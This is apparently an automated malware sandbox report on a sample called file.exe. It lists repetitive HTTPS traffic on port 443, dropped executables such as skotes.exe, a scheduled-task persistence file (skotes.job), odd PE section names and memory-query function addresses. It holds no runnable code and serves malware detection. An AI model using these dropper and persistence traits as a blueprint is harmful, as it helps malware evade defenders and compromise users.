Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57289
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57162
Source: unknown	Network traffic detected: HTTP traffic on port 57175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57283
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57284
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57285
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57286
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 57280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57280
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57160
Source: unknown	Network traffic detected: HTTP traffic on port 57221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57281
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57161
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57282
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 57139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57207
Source: unknown	Network traffic detected: HTTP traffic on port 57197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57209
Source: unknown	Network traffic detected: HTTP traffic on port 57277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57210
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57211
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57212
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57213
Source: unknown	Network traffic detected: HTTP traffic on port 57174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 57245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 57085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57218
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57219
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57214
Source: unknown	Network traffic detected: HTTP traffic on port 57234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57216
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57217
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57221
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57222
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57103
Source: unknown	Network traffic detected: HTTP traffic on port 57128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57224
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 57200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 57118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 57185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57229
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57109
Source: unknown	Network traffic detected: HTTP traffic on port 57256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57226
Source: unknown	Network traffic detected: HTTP traffic on port 57290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57227
Source: unknown	Network traffic detected: HTTP traffic on port 57233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57228
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57232
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57234
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57114
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57235
Source: unknown	Network traffic detected: HTTP traffic on port 57289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57230
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57119
Source: unknown	Network traffic detected: HTTP traffic on port 57196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57236
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57116
Source: unknown	Network traffic detected: HTTP traffic on port 57140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57238
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57239
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57245
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57125
Source: unknown	Network traffic detected: HTTP traffic on port 57211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57246
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57240
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57241
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57242
Source: unknown	Network traffic detected: HTTP traffic on port 57267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 57097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 57126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57287 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57099
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57093
Source: unknown	Network traffic detected: HTTP traffic on port 57075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57094
Source: unknown	Network traffic detected: HTTP traffic on port 57098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57091
Source: unknown	Network traffic detected: HTTP traffic on port 57276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 57218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 57087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57263 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57294
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57176
Source: unknown	Network traffic detected: HTTP traffic on port 57159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57290
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57291
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57171
Source: unknown	Network traffic detected: HTTP traffic on port 57136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57188
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57189
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57185
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57065
Source: unknown	Network traffic detected: HTTP traffic on port 57183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57187
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57180
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57181
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57183
Source: unknown	Network traffic detected: HTTP traffic on port 57265 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57275 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57199
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57079
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57195
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57075
Source: unknown	Network traffic detected: HTTP traffic on port 57182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57196
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57197
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57198
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57191
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57193
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57073
Source: unknown	Network traffic detected: HTTP traffic on port 57077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57194
Source: unknown	Network traffic detected: HTTP traffic on port 57220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57190
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57253 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57089
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57081

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.23:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.23:443 -> 192.168.2.5:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:57235 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: DocumentsBAAFIJKKEH.exe.0.dr	Static PE information: section name:
Source: DocumentsBAAFIJKKEH.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.19.dr	Static PE information: section name:
Source: skotes.exe.19.dr	Static PE information: section name: .idata
Source: random[1].exe.24.dr	Static PE information: section name:
Source: random[1].exe.24.dr	Static PE information: section name: .rsrc
Source: random[1].exe.24.dr	Static PE information: section name: .idata
Source: random[1].exe.24.dr	Static PE information: section name:
Source: 3a4851ca05.exe.24.dr	Static PE information: section name:
Source: 3a4851ca05.exe.24.dr	Static PE information: section name: .rsrc
Source: 3a4851ca05.exe.24.dr	Static PE information: section name: .idata
Source: 3a4851ca05.exe.24.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C6BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C6BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C65F280

Source: C:\Users\user\DocumentsBAAFIJKKEH.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6535A0	0_2_6C6535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665440	0_2_6C665440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C545C	0_2_6C6C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C542B	0_2_6C6C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CAC00	0_2_6C6CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695C10	0_2_6C695C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2C10	0_2_6C6A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D4E0	0_2_6C65D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696CF0	0_2_6C696CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6664C0	0_2_6C6664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D4D0	0_2_6C67D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B34A0	0_2_6C6B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC4A0	0_2_6C6BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FD00	0_2_6C66FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED10	0_2_6C67ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680512	0_2_6C680512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B85F0	0_2_6C6B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690DD0	0_2_6C690DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6E63	0_2_6C6C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C670	0_2_6C65C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2E4E	0_2_6C6A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674640	0_2_6C674640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E50	0_2_6C679E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693E50	0_2_6C693E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9E30	0_2_6C6B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5600	0_2_6C6A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697E10	0_2_6C697E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C76E3	0_2_6C6C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BEF0	0_2_6C65BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FEF0	0_2_6C66FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4EA0	0_2_6C6B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE680	0_2_6C6BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675E90	0_2_6C675E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669F00	0_2_6C669F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697710	0_2_6C697710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DFE0	0_2_6C65DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686FF0	0_2_6C686FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A77A0	0_2_6C6A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69F070	0_2_6C69F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678850	0_2_6C678850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D850	0_2_6C67D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B820	0_2_6C69B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A4820	0_2_6C6A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667810	0_2_6C667810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C0E0	0_2_6C67C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6958E0	0_2_6C6958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C50C7	0_2_6C6C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6860A0	0_2_6C6860A0
